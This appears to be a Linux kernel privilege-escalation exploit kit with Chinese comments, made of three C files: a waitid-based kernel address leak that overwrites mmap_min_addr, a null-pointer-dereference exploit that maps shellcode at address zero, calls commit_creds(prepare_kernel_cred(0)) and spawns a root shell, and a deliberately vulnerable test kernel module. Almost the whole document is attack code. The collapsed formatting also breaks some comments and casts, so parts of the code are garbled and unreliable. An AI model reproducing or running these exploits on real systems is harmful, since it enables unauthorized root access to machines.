/** disable_map_min_add.c */ / * */
#include <stdio.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <sys/resource.h> #include <syscall.h>
/* 偏移量可能不同，内核是自定义编译的
/* #define OFFSET_KERNEL_BASE 0x000000 */ #define MMAP_MIN_ADDR 0x1101de8 #define DAC_MMAP_MIN_ADDR 0xe8e810
/* 通过读取/proc/kallsyms获取内核函数地址 */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;
f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] 无法打开/proc/kallsyms\n"); exit(-1); } printf("[+] 正在寻找 %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] 在 %lx 处找到 %s\n", name, addr); return addr; } } fclose(f); return 0; }
int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p, *kernel_base; char *mmap_min_addr, dac_mmap_min_addr; pid = fork(); if (pid > 0) { / 当 /proc/kallsyms 不可读时尝试绕过 KASLR */ syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] 泄露大小=%d 字节\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { printf("[+] 泄露点: %p\n", p); if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long )(p&0xffffffffff000000 /+ OFFSET_TO_BASE/); // spender 的方法在启用 KASLR 时实际上不起作用 break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); }
kernel_base = get_kernel_sym("startup_64"); printf("[+] 获取内核基址: %p\n", kernel_base); mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR; printf("[+] 获取 mmap_min_addr: %p\n", mmap_min_addr); dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR; printf("[+] 获取 dac_mmap_min_addr: %p\n", dac_mmap_min_addr);
pid2 = fork(); if (pid2 > 0) { printf("[+] 正在覆盖 map_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] 失败！\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); }
pid3 = fork(); if (pid3 > 0) { printf("[+] 正在覆盖 dac_mmap_min_addr...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t )(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] 失败！\n"); exit(1); } printf("[+] map_min_addr 已禁用！\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; } /* disable_map_min_add.c EOF **/
/** null_poiter_exploit.c **/
#define _GNU_SOURCE
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <string.h> #include <unistd.h> #include <unistd.h> #include <fcntl.h>
struct cred; struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) attribute((regparm(3))); typedef int (*commit_creds_t) (struct cred *new) attribute((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred; commit_creds_t commit_creds;
/* 内核空指针解引用将有助于获取权限
/proc/test 是用于测试的内核加载模块
touch_null_kp 可以替换为你自己的实现来
触发内核空指针 */ void touch_null_kp() { printf("[+]开始触发内核空指针\n");
int *f = open("/proc/test", O_RDONLY); read(f, NULL, 0); }
/* 在获得 root 后运行 shell */ void get_shell() { char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){ printf("[+] Root shell 成功！！:)\n"); execve("/bin/sh", argv, NULL); } printf("[-] 获取 root shell 失败 :(\n"); }
/* 用于提权 */ void get_root() { commit_creds(prepare_kernel_cred(0)); }
/* 通过读取/proc/kallsyms获取函数地址 */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret = 0;
f = fopen("/proc/kallsyms", "r"); if (f == NULL) { printf("[-] 无法打开/proc/kallsyms\n"); exit(-1); } printf("[+] 正在寻找 %s...\n", name); while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fclose(f); printf("[+] 在 %lx 处找到 %s\n", name, addr); return addr; } } fclose(f); return 0; }
int main(int ac, char **av) {
/* 获取函数地址 */ prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred"); commit_creds = (commit_creds_t)get_kernel_sym("commit_creds"); printf("获取 commit_creds:%p, prepare_kernel_cred:%p\n", commit_creds, prepare_kernel_cred);
/* 在 0x00 处分配内存 */ printf("[+] 尝试分配 0x00000000...\n"); if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char )-1){ printf("[-] 分配 0x00000000 失败\n"); return -1; } printf("[+] 分配成功！\n"); / memset(0, 0xcc, 4096); / / //movq rax, 0xffffffff81f3f45a //movq [rax], 0 // 这不是必须的 mov rax, 0x4242424242424242 call rax xor rax, rax ret 将 0x4242424242424242 替换为 get_root https://defuse.ca/online-x86-assembler.htm#disassembly */
unsigned char shellcode[] = { /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, //0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 }; / 将 getroot 地址插入 shellcode */ void **get_root_offset = rawmemchr(shellcode, 0x42); (get_root_offset) = get_root; / 将 shellcode 映射到 0x00 */ memcpy(0, shellcode, sizeof(shellcode));
/* 跳转到 0x00 */ touch_null_kp();
get_shell();
}
/** null_poiter_exploit.c EOF **/
/** test.c **/ #include <linux/init.h> #include <linux/module.h> #include <linux/proc_fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <asm/ptrace.h> #include <asm/thread_info.h>
#define MY_DEV_NAME "test" #define DEBUG_FLAG "PROC_DEV"
extern unsigned long proc_test_sp_print; static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff); static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff); static int proc_open (struct inode *proc_inode, struct file *proc_file); static struct file_operations a = { .open = proc_open, .read = proc_read, .write = proc_write, };
static int __init mod_init(void) { struct proc_dir_entry *test_entry; const struct file_operations *proc_fops = &a; printk(DEBUG_FLAG":proc 初始化开始\n");
test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
if(!test_entry)
printk(DEBUG_FLAG":出现了一些问题！\n");
printk(DEBUG_FLAG":proc 初始化结束！\n");
return 0;
}
static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff) { void (*fun)(void); fun = NULL; //printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); fun(); //printk("The memory of %p : %d\n", proc_user, *proc_user); return 0; }
static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff) { printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }
int proc_open (struct inode *proc_inode, struct file *proc_file) { printk(DEBUG_FLAG":进入 open，cmdline:%s！\n", current->comm); printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack); return 0; }
module_init(mod_init); /** test.c EOF **/